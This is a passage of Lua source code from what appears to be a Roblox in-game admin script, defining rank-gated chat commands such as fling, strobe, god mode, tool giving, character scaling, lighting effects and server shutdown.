6313 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6314 end
6315 end
6316 end
6317 end
6318 end};
6319
6320 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6321 local Players = STRING:Scan(Arguments[1], Speaker)
6322 for _,Player in pairs(Players) do
6323 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6324 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6325 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6326 end
6327 end
6328 end};
6329
6330 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6331 local Players = STRING:Scan(Arguments[1], Speaker)
6332 for _,Player in pairs(Players) do
6333 local _,RankNum = RANK:GetRank(Player)
6334 if RankNum <= RANK:ConvertRank(Rank) then
6335 CORE:FlingPlayer(Player)
6336 end
6337 end
6338 end};
6339
6340 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6341 local Players = STRING:Scan(Arguments[1], Speaker)
6342 for _,Player in pairs(Players) do
6343 local _,RankNum = RANK:GetRank(Player)
6344 if RankNum <= RANK:ConvertRank(Rank) then
6345 Flings[Player.Name] = true
6346 CORE:FlingPlayer(Player)
6347 end
6348 end
6349 end};
6350
6351 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6352 local Players = STRING:Scan(Arguments[1], Speaker)
6353 for _,Player in pairs(Players) do
6354 local _,RankNum = RANK:GetRank(Player)
6355 if RankNum <= RANK:ConvertRank(Rank) then
6356 Flings[Player.Name] = nil
6357 end
6358 end
6359 end};
6360
6361 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6362 local Players = STRING:Scan(Arguments[1], Speaker)
6363 for _,Player in pairs(Players) do
6364 CORE:Nuke(Player)
6365 end
6366 end};
6367
6368 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6369 local Players = STRING:Scan(Arguments[1], Speaker)
6370 for _,Player in pairs(Players) do
6371 Beeps[Player.Name] = true
6372 SOUND:BeepPlayer(Player)
6373 end
6374 end};
6375
6376 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6377 local Players = STRING:Scan(Arguments[1], Speaker)
6378 for _,Player in pairs(Players) do
6379 if Player.PlayerGui then
6380 Beeps[Player.Name] = nil
6381 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6382 if Obj.Name == "Annoy" then
6383 Obj:Stop()
6384 Obj:Destroy()
6385 end
6386 end
6387 end
6388 end
6389 end};
6390
6391 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6392 local Time = Arguments[1]
6393 if Time == "day" or Time == "noon" then Time = "12" end
6394 if Time == "night" or Time == "midnight" then Time = "0" end
6395 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6396 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6397 if Time == "afternoon" then Time = "15:30" end
6398 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6399 end};
6400
6401 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6402 local Players = STRING:Scan(Arguments[1], Speaker)
6403 for _,Player in pairs(Players) do
6404 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6405 end
6406 end};
6407
6408 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6409 local AbuseMode = false
6410 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6411 local Players = STRING:Scan(Arguments[1], Speaker)
6412 for _,Player in pairs(Players) do
6413 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6414 end
6415 end};
6416
6417 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6418 local Players = STRING:Scan(Arguments[1], Speaker)
6419 for _,Player in pairs(Players) do
6420 CORE:Insert(125013769, Player.Backpack, true)
6421 end
6422 end};
6423
6424 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6425 local Players = STRING:Scan(Arguments[1], Speaker)
6426 for _,Player in pairs(Players) do
6427 if Player.Character then
6428 CORE:Insert(Arguments[2], Player.Character, true, {"Hat"})
6429 end
6430 end
6431 end};
6432
6433 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6434 CORE:ResetLighting()
6435 repeat
6436 Server.Lighting.Ambient = Color3.new(1,1,1)
6437 Server.Lighting.FogColor = Color3.new(1,1,1)
6438 Server.Lighting.Brightness = 1
6439 Server.Lighting.TimeOfDay = 14
6440 wait(0.1)
6441 Server.Lighting.Ambient = Color3.new(0,0,0)
6442 Server.Lighting.FogColor = Color3.new(0,0,0)
6443 Server.Lighting.Brightness = 0
6444 Server.Lighting.TimeOfDay = 0
6445 wait(0.1)
6446 until ModLighting == false
6447 end};
6448
6449 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6450 CORE:ResetLighting()
6451 repeat
6452 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6453 Server.Lighting.Ambient = Color
6454 Server.Lighting.FogColor = Color
6455 Server.Lighting.TimeOfDay = 0
6456 Server.Lighting.FogEnd = 500
6457 wait(0.1)
6458 until ModLighting == false
6459 end};
6460
6461 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6462 CORE:FixLighting()
6463 end};
6464
6465 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6466 local Players = STRING:Scan(Arguments[1], Speaker)
6467 for _,Player in pairs(Players) do
6468 if Player:FindFirstChild("PlayerGui") then
6469 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6470 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6471 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6472 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6473 end
6474 end
6475 end};
6476
6477 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6478 local Players = STRING:Scan(Arguments[1], Speaker)
6479 for _,Player in pairs(Players) do
6480 if Player:FindFirstChild("PlayerGui") then
6481 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6482 end
6483 end
6484 end};
6485
6486 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6487 local Players = STRING:Scan(Arguments[1], Speaker)
6488 for _,Player in pairs(Players) do
6489 if Player:FindFirstChild("PlayerGui") then
6490 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6491 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6492 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6493 end
6494 end
6495 end};
6496
6497 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6498 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6499 if Suc then
6500 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6501 else
6502 Server.TS:Teleport(game.PlaceId, Speaker)
6503 end
6504 end};
6505
6506 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6507 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6508 end};
6509
6510 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6511 local NewAbuse = Arguments[1]
6512 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6513 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6514 end
6515
6516 local Match = false
6517 for _,AbuseCmd in pairs(Settings.AbuseList) do
6518 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6519 Match = true
6520 break
6521 end
6522 end
6523 if not Match then
6524 table.insert(Settings.AbuseList, NewAbuse)
6525 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6526 else
6527 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6528 end
6529 CORE:SetAbuseCommands()
6530 end};
6531
6532 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6533 local NewAbuse = Arguments[1]
6534 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6535 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6536 end
6537
6538 local Removed = false
6539 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6540 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6541 Removed = true
6542 table.remove(Settings.AbuseList, Num)
6543 end
6544 end
6545 if Removed then
6546 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6547 else
6548 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6549 end
6550 CORE:SetAbuseCommands()
6551 end};
6552
6553 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6554 local Players = STRING:Scan(Arguments[1], Speaker)
6555 for _,Player in pairs(Players) do
6556 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6557 Player.Character.Humanoid.MaxHealth = math.huge
6558 Player.Character.Humanoid.Health = math.huge
6559 end
6560 end
6561 end};
6562
6563 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6564 local Players = STRING:Scan(Arguments[1], Speaker)
6565 for _,Player in pairs(Players) do
6566 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6567 if Player.Character.Humanoid.MaxHealth == math.huge then
6568 Player.Character.Humanoid.MaxHealth = 100
6569 Player.Character.Humanoid.Health = 100
6570 else
6571 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6572 end
6573 end
6574 end
6575 end};
6576
6577 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6578 local Players = STRING:Scan(Arguments[1], Speaker)
6579 for _,Player in pairs(Players) do
6580 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6581 local Char = Player.Character
6582 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6583 end
6584 end
6585 end};
6586
6587 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6588 if tonumber(Arguments[2]) then
6589 local Players = STRING:Scan(Arguments[1], Speaker)
6590 for _,Player in pairs(Players) do
6591 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6592 Player.Character.Humanoid.Health = Arguments[2]
6593 end
6594 end
6595 end
6596 end};
6597
6598 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6599 if tonumber(Arguments[2]) then
6600 local Players = STRING:Scan(Arguments[1], Speaker)
6601 for _,Player in pairs(Players) do
6602 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6603 local Speed = tonumber(Arguments[2])
6604 if Speed then
6605 if Rank == "Member" then
6606 if Speed > 1000 then Speed = 1000
6607 elseif Speed < -1000 then Speed = -1000 end
6608 end
6609 Player.Character.Humanoid.WalkSpeed = Speed
6610 end
6611 end
6612 end
6613 end
6614 end};
6615
6616 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6617 if tonumber(Arguments[2]) then
6618 local Players = STRING:Scan(Arguments[1], Speaker)
6619 for _,Player in pairs(Players) do
6620 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6621 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6622 end
6623 end
6624 end
6625 end};
6626
6627 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6628 local Players = STRING:Scan(Arguments[1], Speaker)
6629 for _,Player in pairs(Players) do
6630 CORE:Fly(Player, 10000)
6631 end
6632 end};
6633
6634 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6635 local Players = STRING:Scan(Arguments[1], Speaker)
6636 for _,Player in pairs(Players) do
6637 CORE:Fly(Player, 1000000)
6638 end
6639 end};
6640
6641 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6642 local Players = STRING:Scan(Arguments[1], Speaker)
6643 for _,Player in pairs(Players) do
6644 if Player.Character then
6645 if Player.Character:FindFirstChild("StopMMLFly") then
6646 Player.Character.StopMMLFly:InvokeClient(Player)
6647 end
6648 end
6649 end
6650 end};
6651
6652 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6653 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6654 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6655 end};
6656
6657 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6658 local Players = STRING:Scan(Arguments[1], Speaker)
6659 for _,Player in pairs(Players) do
6660 CORE:GiveTools(Player, Arguments[2])
6661 end
6662 end};
6663
6664 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6665 local List = {}
6666 for _,Region in pairs(ToolRegions) do
6667 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6668 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6669 end)
6670 end
6671
6672 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6673 end};
6674
6675 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6676 local Players = STRING:Scan(Arguments[1], Speaker)
6677 for _,Player in pairs(Players) do
6678 CORE:GiveTools(Player, "btools")
6679 end
6680 end};
6681
6682 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6683 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6684 for _,Player in pairs(Server.Players:GetPlayers()) do
6685 Player:Kick()
6686 end
6687 Server.Workspace:ClearAllChildren()
6688 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6689 end};
6690
6691 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6692 local Players = STRING:Scan(Arguments[1], Speaker)
6693 for _,Player in pairs(Players) do
6694 CORE:Scale(Player, Arguments[2])
6695 end
6696 end};
6697
6698 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6699 local Players = STRING:Scan(Arguments[1], Speaker)
6700 for _,Player in pairs(Players) do
6701 CORE:Scale(Player, 50)
6702 end
6703 end};
6704
6705 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6706 local Players = STRING:Scan(Arguments[1], Speaker)
6707 for _,Player in pairs(Players) do
6708 CORE:Scale(Player, 70)
6709 end
6710 end, Hidden = true};
6711
6712 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6713 local Players = STRING:Scan(Arguments[1], Speaker)
6714 for _,Player in pairs(Players) do
6715 CORE:Scale(Player, 500)
6716 end
6717 end};
6718
6719 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6720 local Players = STRING:Scan(Arguments[1], Speaker)
6721 for _,Player in pairs(Players) do
6722 if Player.Character then
6723 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6724 Obj.Reflectance = 0.5
6725 Obj.BrickColor = BrickColor.new("New Yeller")
6726 end)
6727 end
6728 end
6729 end};
6730
6731 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6732 local Players = STRING:Scan(Arguments[1], Speaker)
6733 for _,Player in pairs(Players) do
6734 if Player.Character then
6735 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6736 Obj.Reflectance = 0.5
6737 end)
6738 end
6739 end
6740 end};
6741
6742 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6743 local Players = STRING:Scan(Arguments[1], Speaker)
6744 for _,Player in pairs(Players) do
6745 if Player.Character then
6746 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6747 Obj.Transparency = 0.5
6748 Obj.Reflectance = 0
6749 Obj.BrickColor = BrickColor.new("Institutional white")
6750 end)
6751 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6752 Obj.Transparency = 0.5
6753 end)
6754 end
6755 end
6756 end};
6757
6758 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6759 local Players = STRING:Scan(Arguments[1], Speaker)
6760 for _,Player in pairs(Players) do
6761 if Player.Character then
6762 for _,Obj in pairs(Player.Character:GetChildren()) do
6763 local Valid = false
6764 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6765 if Valid == true then Obj:Destroy() end
6766 end
6767 end
6768 end
6769 end};
6770
6771 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6772 local Players = STRING:Scan(Arguments[1], Speaker)
6773 for _,Player in pairs(Players) do
6774 if Player.Character then
6775 for _,Obj in pairs(Player.Character:GetChildren()) do
6776 local Valid = false
6777 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6778 if Valid == true then Obj:Destroy() end
6779 end
6780 end
6781 end
6782 end};
6783
6784 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6785 local Players = STRING:Scan(Arguments[1], Speaker)
6786 for _,Player in pairs(Players) do
6787 if Player.Character then
6788 for _,Obj in pairs(Player.Character:GetChildren()) do
6789 local Valid = false
6790 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6791 if Valid == true then Obj:Destroy() end
6792 end
6793 end
6794 end
6795 end};
6796
6797 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6798 local Players = STRING:Scan(Arguments[1], Speaker)
6799 for _,Player in pairs(Players) do
6800 if Player.Character then
6801 for _,Obj in pairs(Player.Character:GetChildren()) do
6802 if Obj:IsA("Hat") then
6803 Obj:Destroy()
6804 end
6805 end
6806 end
6807 end
6808 end};
6809
6810 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6811 local Players = STRING:Scan(Arguments[1], Speaker)
6812 for _,Player in pairs(Players) do
6813 Player:ClearCharacterAppearance()
6814 end
6815 end};
6816
6817 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6818 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
6819 local TmpPlayers = {}
6820 local Output = {}
6821 for _,Data in pairs(Players) do
6822 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6823 end
6824 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6825 end};
6826
6827 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6828 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
6829 GUI:SendHint(Speaker, "Player Database cleared", 5)
6830 end};
6831
6832 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6833 local Players = STRING:Scan(Arguments[1], Speaker)
6834 for _,Player in pairs(Players) do
6835 GUI:FakeHack(Player)
6836 end
6837 end};
6838
6839 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6840 local Players = STRING:Scan(Arguments[1], Speaker)
6841 for _,Player in pairs(Players) do
6842 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6843 for _,Object in pairs(Player.Backpack:GetChildren()) do
6844 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6845 local Clone = Object:Clone()
6846 Clone.Parent = Speaker.Backpack
6847 end
6848 end
6849 end
6850 end
6851 end};
6852
6853 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6854 local Players = STRING:Scan(Arguments[1], Speaker)
6855 for _,Player in pairs(Players) do
6856 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6857 for _,Object in pairs(Player.Backpack:GetChildren()) do
6858 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6859 Object.Parent = Speaker.Backpack
6860 end
6861 end
6862 end
6863 end
6864 end};
6865
6866 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6867 local Players = STRING:Scan(Arguments[1], Speaker)
6868 for _,Player in pairs(Players) do
6869 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6870 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6871 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6872 local Clone = Object:Clone()
6873 Clone.Parent = Player.Backpack
6874 end
6875 end
6876 end
6877 end
6878 end};
6879
6880 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6881 local Players = STRING:Scan(Arguments[1], Speaker)
6882 for _,Player in pairs(Players) do
6883 if Player:FindFirstChild("Backpack") then
6884 Player.Backpack:ClearAllChildren()
6885 end
6886 if Player.Character ~= nil then
6887 for _,Obj in pairs(Player.Character:GetChildren()) do
6888 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6889 Obj:Destroy()
6890 end
6891 end
6892 end
6893 end
6894 end};
6895
6896 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6897 local Players = STRING:Scan(Arguments[1], Speaker)
6898 for _,Player in pairs(Players) do
6899 if Player.Character then
6900 if Player.Character:FindFirstChild("Head") then
6901 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
6902 coroutine.wrap(function()
6903 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6904 local OldFace = Player.Character.Head.face.Texture
6905 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
6906 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
6907 Player.Character.Head.face.Texture = "rbxassetid://24067663"
6908 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
6909 Sound:Play()
6910 coroutine.wrap(function() for i = 1,100 do wait()
6911 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
6912 coroutine.wrap(function() wait(3) Part:Destroy() end)()
6913 end
6914 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
6915 end end
6916 end)()
6917 end
6918 end
6919 end
6920 end
6921 end};
6922
6923 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
6924 local Players = STRING:Scan(Arguments[1], Speaker)
6925 for _,Player in pairs(Players) do
6926 if Player.Character then
6927 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
6928 coroutine.wrap(function()
6929 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6930 local OldFace = Player.Character.Head.face.Texture
6931 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
6932 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
6933 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
6934 Player.Character.Head.face.Texture = "rbxassetid://28118994"
6935 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
6936 Sound:Play()
6937 wait(1)
6938 Smoke.Enabled = false
6939 wait(1)
6940 Fart:Destroy()
6941 Fart:Destroy()
6942 Player.Character.Head.face.Texture = OldFace
6943 end end
6944 end)()
6945 end
6946 end
6947 end
6948 end};
6949
6950 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
6951 local Players = STRING:Scan(Arguments[1], Speaker)
6952 for _,Player in pairs(Players) do
6953 if Player:FindFirstChild("Backpack") then
6954 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
6955 end
6956 end
6957 end};
6958
6959 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
6960 local Players = STRING:Scan(Arguments[1], Speaker)
6961 for _,Player in pairs(Players) do
6962 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
6963 Player.Character.MMLGraffiti:ClearAllChildren()
6964 end
6965 end
6966 end};
6967
6968 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
6969 local Players = STRING:Scan(Arguments[1], Speaker)
6970 for _,Player in pairs(Players) do
6971 if Player.Character and Player.Character:FindFirstChild("Torso") then
6972 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
6973 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
6974 end
6975 end
6976 end};
6977
